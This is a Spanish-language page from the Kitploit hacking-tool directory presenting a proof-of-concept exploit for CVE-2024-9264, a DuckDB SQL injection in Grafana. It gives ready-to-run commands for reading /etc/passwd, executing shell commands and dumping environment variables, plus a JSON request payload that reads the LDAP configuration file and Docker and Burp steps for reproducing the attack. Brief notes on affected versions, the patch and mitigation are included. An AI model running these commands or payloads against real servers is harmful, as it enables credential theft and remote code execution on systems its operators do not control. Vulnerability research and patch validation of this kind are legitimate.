Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-9264 — Exploit para lectura arbitraria de archivos y RCE en Grafana (CVE-2024-9264) | Kitploit
Herramientas/GitHubGitHub/nollium/cve-2024-9264
Generación de PayloadsAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubnollium/cve-2024-9264

CVE-2024-9264

Exploit para lectura arbitraria de archivos y RCE en Grafana (CVE-2024-9264)

Ver Repositorio
132163hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-9264

Inyección SQL de DuckDB post-autenticación en Grafana (RCE, Lectura de archivos)

Prueba de Concepto (PoC)

Este PoC demuestra la explotación de CVE-2024-9264 mediante un usuario autenticado para realizar una consulta SQL de DuckDB y leer un archivo arbitrario del sistema de archivos o ejecutar código arbitrario de forma remota.

El código arbitrario solo se puede ejecutar en Grafana v11.0.0.

Los archivos se pueden leer en todas las versiones vulnerables.

Configuración: Instala las dependencias necesarias mediante:

root@kitploit:~
pip install -r requirements.txt

Uso

Lectura de archivos (Universal):

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

Ejecución de comandos (solo v11.0.0)

root@kitploit:~
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000

También puedes ejecutar consultas arbitrarias de DuckDB, como llamar a getenv para recuperar variables de entorno:

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

La lista de funciones utilitarias de DuckDB que se pueden explotar se puede encontrar aquí.

Resumen de la vulnerabilidad

CVE-2024-9264 es una vulnerabilidad de inyección SQL de DuckDB en la función experimental de Expresiones SQL de Grafana. Cualquier usuario autenticado puede ejecutar consultas SQL arbitrarias de DuckDB a través de expresiones modificadas en los paneles de Grafana.

Versiones afectadas:

  • Versiones de Grafana OSS y Enterprise 11.0.0 - 11.0.5, 11.1.0 - 11.1.6 y 11.2.0 - 11.2.1.

Versiones parcheadas:

  • 11.0.5+security-01 y superiores

Encontrando el parche

Grafana lanzó versiones especiales para corregir esta vulnerabilidad. Para analizar el parche, se pueden usar los siguientes comandos para comparar los cambios:

root@kitploit:~
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

Esto revela que la función de Expresiones SQL simplemente se eliminó de las versiones vulnerables.

root@kitploit:~
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}
root@kitploit:~
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

El parche elimina por completo las Expresiones SQL, lo que impide la posibilidad de explotación.

Explotando la vulnerabilidad

  1. Iniciar Grafana: Ejecuta Grafana con la versión 11.0.5:

    root@kitploit:~
    docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
    
  2. Modificar una Expresión: Crea un panel con una expresión como "Math", intercepta la solicitud con Burp y modifica el tipo de datasource de math a sql.

    Se enviará una solicitud HTTP a /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.

    A continuación se muestra el JSON mínimo necesario para realizar una consulta SQL de DuckDB y leer un archivo arbitrario como ./conf/ldap.toml:

    root@kitploit:~
    {
      "queries": [
        {
          "refId": "B",
          "datasource": {
            "type": "__expr__",
            "uid": "__expr__",
            "name": "Expression"
          },
          "type": "sql",
          "hide": false,
          "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
          "window": ""
        }
      ],
      "from": "1729313027261",
      "to": "1729334627261"
    }
    

No es necesario que haya un panel presente para la explotación real, es solo una forma fácil de encontrar la solicitud HTTP para ejecutar una consulta.

Probabilidad de explotación

Es importante tener en cuenta que, aunque esta vulnerabilidad es crítica, su explotabilidad depende de si el binario de DuckDB está instalado en el servidor de Grafana. Por defecto, Grafana no incluye DuckDB instalado y no hay opción para instalarlo directamente desde la interfaz de Grafana.

Para que esta vulnerabilidad sea explotable, un administrador debe haber instalado manualmente DuckDB y haberlo agregado al $PATH del servidor de Grafana. Si DuckDB no está presente, la vulnerabilidad de inyección SQL no se puede aprovechar, lo que reduce significativamente la probabilidad de una explotación exitosa en instalaciones predeterminadas.

Mitigación

Actualiza Grafana a las versiones parcheadas y asegúrate de que el binario de DuckDB no esté presente en el $PATH si el parche se retrasa.

Créditos

Este PoC utiliza el framework ten desarrollado por cfreal.

Descargar herramienta